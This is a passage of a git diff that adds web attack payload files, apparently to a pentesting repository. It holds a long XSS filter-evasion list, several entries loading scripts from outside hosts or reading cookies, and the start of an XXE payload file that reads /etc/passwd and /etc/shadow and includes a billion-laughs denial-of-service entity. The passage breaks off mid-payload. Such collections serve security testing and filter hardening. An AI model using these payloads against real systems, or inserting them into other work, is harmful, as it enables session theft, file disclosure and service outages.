src\x12=x onerror="javascript:alert(1)"> +<img src\x11=x onerror="javascript:alert(1)"> +<img src\x00=x onerror="javascript:alert(1)"> +<img src\x47=x onerror="javascript:alert(1)"> +<img src=x\x09onerror="javascript:alert(1)"> +<img src=x\x10onerror="javascript:alert(1)"> +<img src=x\x11onerror="javascript:alert(1)"> +<img src=x\x12onerror="javascript:alert(1)"> +<img src=x\x13onerror="javascript:alert(1)"> +<img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)"> +<img src=x onerror=\x09"javascript:alert(1)"> +<img src=x onerror=\x10"javascript:alert(1)"> +<img src=x onerror=\x11"javascript:alert(1)"> +<img src=x onerror=\x12"javascript:alert(1)"> +<img src=x onerror=\x32"javascript:alert(1)"> +<img src=x onerror=\x00"javascript:alert(1)"> +<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>XXX</a> +<img src="x` `<script>javascript:alert(1)</script>"` `> +<img src onerror /" '"= alt=javascript:alert(1)//"> +<title onpropertychange=javascript:alert(1)></title><title title=> +<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>"> +<!--[if]><script>javascript:alert(1)</script --> +<!--[if<img src=x onerror=javascript:alert(1)//]> --> +<script src="/\%(jscript)s"></script> +<script src="\\%(jscript)s"></script> +<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object> +<a style="-o-link:'javascript:javascript:alert(1)';-o-link-source:current">X +<style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style> +<link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d +<style>@import "data:,*%7bx:expression(javascript:alert(1))%7D";</style> +<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">XXX</a></a><a href="javascript:javascript:alert(1)">XXX</a> +<style>*[{}@import'%(css)s?]</style>X +<div style="font-family:'foo&#10;;color:red;';">XXX +<div style="font-family:foo}color=red;">XXX +<// style=x:expression\28javascript:alert(1)\29> +<style>*{x:expression(javascript:alert(1))}</style> +<div style=content:url(%(svg)s)></div> +<div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X +<div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script> +<div style="background:url(/f#&#127;oo/;color:red/*/foo.jpg);">X +<div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X +<div id="x">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style> +<x style="background:url('x&#1;;color:red;/*')">XXX</x> +<script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script> +<script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script> +<script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script> +<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script> +<meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi +<meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&> +<meta charset="mac-farsi">¼script¾javascript:alert(1)¼/script¾ +X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` > +1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=javascript:alert(1)&gt;`> +1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=javascript:alert(1)&gt;> +<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#xss></vmlframe> +1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a> +<a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">XXX</a> +<x style="behavior:url(%(sct)s)"> +<xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label> +<event-source src="%(event)s" onload="javascript:alert(1)"> +<a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A"> +<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:alert(1)&gt;"> +<script>%(payload)s</script> +<script src=%(jscript)s></script> +<script language='javascript' src='%(jscript)s'></script> +<script>javascript:alert(1)</script> +<IMG SRC="javascript:javascript:alert(1);"> +<IMG SRC=javascript:javascript:alert(1)> +<IMG SRC=`javascript:javascript:alert(1)`> +<SCRIPT SRC=%(jscript)s?<B> +<FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET> +<BODY ONLOAD=javascript:alert(1)> +<BODY ONLOAD=javascript:javascript:alert(1)> +<IMG SRC="jav ascript:javascript:alert(1);"> +<BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(1)> +<SCRIPT/SRC="%(jscript)s"></SCRIPT> +<<SCRIPT>%(payload)s//<</SCRIPT> +<IMG SRC="javascript:javascript:alert(1)" +<iframe src=%(scriptlet)s < +<INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);"> +<IMG DYNSRC="javascript:javascript:alert(1)"> +<IMG LOWSRC="javascript:javascript:alert(1)"> +<BGSOUND SRC="javascript:javascript:alert(1);"> +<BR SIZE="&{javascript:alert(1)}"> +<LAYER SRC="%(scriptlet)s"></LAYER> +<LINK REL="stylesheet" HREF="javascript:javascript:alert(1);"> +<STYLE>@import'%(css)s';</STYLE> +<META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet"> +<XSS STYLE="behavior: url(%(htc)s);"> +<STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>XSS +<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);"> +<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1);"> +<IFRAME SRC="javascript:javascript:alert(1);"></IFRAME> +<TABLE BACKGROUND="javascript:javascript:alert(1)"> +<TABLE><TD BACKGROUND="javascript:javascript:alert(1)"> +<DIV STYLE="background-image: url(javascript:javascript:alert(1))"> +<DIV STYLE="width:expression(javascript:alert(1));"> +<IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1))"> +<XSS STYLE="xss:expression(javascript:alert(1))"> +<STYLE TYPE="text/javascript">javascript:alert(1);</STYLE> +<STYLE>.XSS{background-image:url("javascript:javascript:alert(1)");}</STYLE><A CLASS=XSS></A> +<STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE> +<!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]--> +<BASE HREF="javascript:javascript:alert(1);//"> +<OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJECT> +<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT> +<HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:javascript:alert(1)"&gt;</B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> +<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;javascript:alert(1)&lt;/SCRIPT&gt;"></BODY></HTML> +<SCRIPT SRC="%(jpg)s"></SCRIPT> +<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4- +<form id="test" /><button form="test" formaction="javascript:javascript:alert(1)">X +<body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> +<P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1)"> +<STYLE>@import'%(css)s';</STYLE> +<STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE> +<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&> +<SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT> +<style onreadystatechange=javascript:javascript:alert(1);></style> +<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html> +<embed code=%(scriptlet)s></embed> +<embed code=javascript:javascript:alert(1);></embed> +<embed src=%(jscript)s></embed> +<frameset onload=javascript:javascript:alert(1)></frameset> +<object onerror=javascript:javascript:alert(1)> +<embed type="image" src=%(scriptlet)s></embed> +<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1);">]]</C><X></xml> +<IMG SRC=&{javascript:alert(1);};> +<a href="jav&#65ascript:javascript:alert(1)">test1</a> +<a href="jav&#97ascript:javascript:alert(1)">test1</a> +<embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed> +<iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:alert(1)&amp;gt;>"> +';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; +alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- +></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> +'';!--"<XSS>=&{()} +<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> +<IMG SRC="javascript:alert('XSS');"> +<IMG SRC=javascript:alert('XSS')> +<IMG SRC=JaVaScRiPt:alert('XSS')> +<IMG SRC=javascript:alert("XSS")> +<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> +<a onmouseover="alert(document.cookie)">xxs link</a> +<a onmouseover=alert(document.cookie)>xxs link</a> +<IMG """><SCRIPT>alert("XSS")</SCRIPT>"> +<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> +<IMG SRC=# onmouseover="alert('xxs')"> +<IMG SRC= onmouseover="alert('xxs')"> +<IMG onmouseover="alert('xxs')"> +<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> +<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> +<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> +<IMG SRC="jav ascript:alert('XSS');"> +<IMG SRC="jav&#x09;ascript:alert('XSS');"> +<IMG SRC="jav&#x0A;ascript:alert('XSS');"> +<IMG SRC="jav&#x0D;ascript:alert('XSS');"> +perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out +<IMG SRC=" &#14; javascript:alert('XSS');"> +<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> +<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> +<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> +<<SCRIPT>alert("XSS");//<</SCRIPT> +<SCRIPT SRC=http://ha.ckers.org/xss.js?< B > +<SCRIPT SRC=//ha.ckers.org/.j> +<IMG SRC="javascript:alert('XSS')" +<iframe src=http://ha.ckers.org/scriptlet.html < +\";alert('XSS');// +</TITLE><SCRIPT>alert("XSS");</SCRIPT> +<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> +<BODY BACKGROUND="javascript:alert('XSS')"> +<IMG DYNSRC="javascript:alert('XSS')"> +<IMG LOWSRC="javascript:alert('XSS')"> +<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br> +<IMG SRC='vbscript:msgbox("XSS")'> +<IMG SRC="livescript:[code]"> +<BODY ONLOAD=alert('XSS')> +<BGSOUND SRC="javascript:alert('XSS');"> +<BR SIZE="&{alert('XSS')}"> +<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> +<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> +<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> +<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> +<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> +<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> +<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> +exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'> +<STYLE TYPE="text/javascript">alert('XSS');</STYLE> +<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> +<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> +<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> +<XSS STYLE="xss:expression(alert('XSS'))"> +<XSS STYLE="behavior: url(xss.htc);"> +¼script¾alert(¢XSS¢)¼/script¾ +<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> +<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> +<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> +<IFRAME SRC="javascript:alert('XSS');"></IFRAME> +<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> +<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> +<TABLE BACKGROUND="javascript:alert('XSS')"> +<TABLE><TD BACKGROUND="javascript:alert('XSS')"> +<DIV STYLE="background-image: url(javascript:alert('XSS'))"> +<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> +<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> +<DIV STYLE="width: expression(alert('XSS'));"> +<BASE HREF="javascript:alert('XSS');//"> + <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> +<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> +<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> +<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"--> +<? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?> +<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> +Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser +<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> + <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- +<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> +<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> +<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> +<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> +<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> +<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> +<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> +<A HREF="http://66.102.7.147/">XSS</A> +<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> +<A HREF="http://1113982867/">XSS</A> +<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> +<A HREF="http://0102.0146.0007.00000223/">XSS</A> +<A HREF="htt p://6 6.000146.0x7.147/">XSS</A> +<iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00> +<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>' +<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;" +<sVg><scRipt %00>alert&lpar;1&rpar; {Opera} +<img/src=`%00` onerror=this.onerror=confirm(1) +<form><isindex formaction="javascript&colon;confirm(1)" +<img src=`%00`&NewLine; onerror=alert(1)&NewLine; +<script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script> +<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=? +<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> +<script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/ +&#34;&#62;<h1/onmouseover='\u0061lert(1)'>%00 +<iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>"> +<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/> +<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script +<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera} +<meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> +<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;> +<form><a href="javascript:\u0061lert&#x28;1&#x29;">X +</script><img/*%00/src="worksinchrome&colon;prompt&#x28;1&#x29;"/%00*/onerror='eval(src)'> +<img/&#09;&#10;&#11; src=`~` onerror=prompt(1)> +<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;> +<a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11;>X</a +http://www.google<script .com>alert(document.location)</script +<a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a +<img/src=@&#32;&#13; onerror = prompt('&#49;') +<style/onload=prompt&#40;'&#88;&#83;&#83;'&#41; +<script ^__^>alert(String.fromCharCode(49))</script ^__^ +</style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-( +&#00;</form><input type&#61;"date" onfocus="alert(1)"> +<form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'> +<script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/ +<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'> +<a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a> +<script ~~~>alert(0%0)</script ~~~> +<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;> +<///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN +<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1) +&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>' +&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera} +<marquee onstart='javascript:alert&#x28;1&#x29;'>^__^ +<div/style="width:expression(confirm(1))">X</div> {IE7} +<iframe/%00/ src=javaSCRIPT&colon;alert(1) +//<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>// +/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/> +//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\ +</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style> +<a/href="javascript:&#13; javascript:prompt(1)"><input type="X"> +</plaintext\></|\><plaintext/onmouseover=prompt(1) +</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29; {Opera} +<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button> +<div onmouseover='alert&lpar;1&rpar;'>DIV</div> +<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"> +<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a> +<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> +<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> +<var onmouseover="prompt(1)">On Mouse Over</var> +<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a> +<img src="/" =_=" title="onerror='prompt(1)'"> +<%<!--'%><script>alert(1);</script --> +<script src="data:text/javascript,alert(1)"></script> +<iframe/src \/\/onload = prompt(1) +<iframe/onreadystatechange=alert(1) +<svg/onload=alert(1) +<input value=<><iframe/src=javascript:confirm(1) +<input type="text" value=`` <div/onmouseover='alert(1)'>X</div> +http://www.<script>alert(1)</script .com +<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe> +<svg><script ?>alert(1) +<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe> +<img src=`xx:xx`onerror=alert(1)> +<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object> +<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/> +<math><a xlink:href="//jsfiddle.net/t846h/">click +<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always> +<svg contentScriptType=text/vbs><script>MsgBox+1 +<a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a +<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE> +<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+ +<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F +<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script +<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)> +<script>+-+-1-+-+alert(1)</script> +<body/onload=&lt;!--&gt;&#10alert(1)> +<script itworksinallbrowsers>/*<script* */alert(1)</script +<img src ?itworksonchrome?\/onerror = alert(1) +<svg><script>//&NewLine;confirm(1);</script </svg> +<svg><script onlypossibleinopera:-)> alert(1) +<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe +<script x> alert(1) </script 1=2 +<div/onmouseover='alert(1)'> style="x:"> +<--`<img/src=` onerror=alert(1)> --!> +<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script> +<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button> +"><img src=x onerror=window.open('https://www.google.com/');> +<form><button formaction=javascript&colon;alert(1)>CLICKME +<math><a xlink:href="//jsfiddle.net/t846h/">click +<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object> +<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> +<a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a> +``` + +## OWASP XSS Evasion Cheat Sheet +https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet diff --git a/more_payloads/xxe-injection-payloads.md b/more_payloads/xxe-injection-payloads.md new file mode 100644 index 0000000..56e5659 --- /dev/null +++ b/more_payloads/xxe-injection-payloads.md @@ -0,0 +1,141 @@ +# XML External Entity (XXE) Injection Payloads + +* XXE : Classic XXE +``` +<?xml version="1.0"?> +<!DOCTYPE data [ +<!ELEMENT data (#ANY)> +<!ENTITY file SYSTEM "file:///etc/passwd"> +]> +<data>&file;</data> + +<?xml version="1.0" encoding="ISO-8859-1"?> + <!DOCTYPE foo [ + <!ELEMENT foo ANY > + <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> + +<?xml version="1.0" encoding="ISO-8859-1"?> +<!DOCTYPE foo [ + <!ELEMENT foo ANY > + <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo> + +<?xml version="1.0" encoding="ISO-8859-1"?> +<!DOCTYPE foo [ + <!ELEMENT foo ANY > + <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo> +``` + +* XXE: Basic XML Example +``` +<!--?xml version="1.0" ?--> +<userInfo> + <firstName>John</firstName> + <lastName>Doe</lastName> +</userInfo> +``` + +* XXE: Entity Example +``` +<!--?xml version="1.0" ?--> +<!DOCTYPE replace [<!ENTITY example "Doe"> ]> + <userInfo> + <firstName>John</firstName> + <lastName>&example;</lastName> + </userInfo> +``` + +* XXE: File Disclosure +``` +<!--?xml version="1.0" ?--> +<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]> +<userInfo> + <firstName>John</firstName> + <lastName>&ent;</lastName> +</userInfo> +``` + +* XXE: Denial-of-Service Example +``` +<!--?xml version="1.0" ?--> +<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)> +<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol; +<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> +<!ENTITY lol3 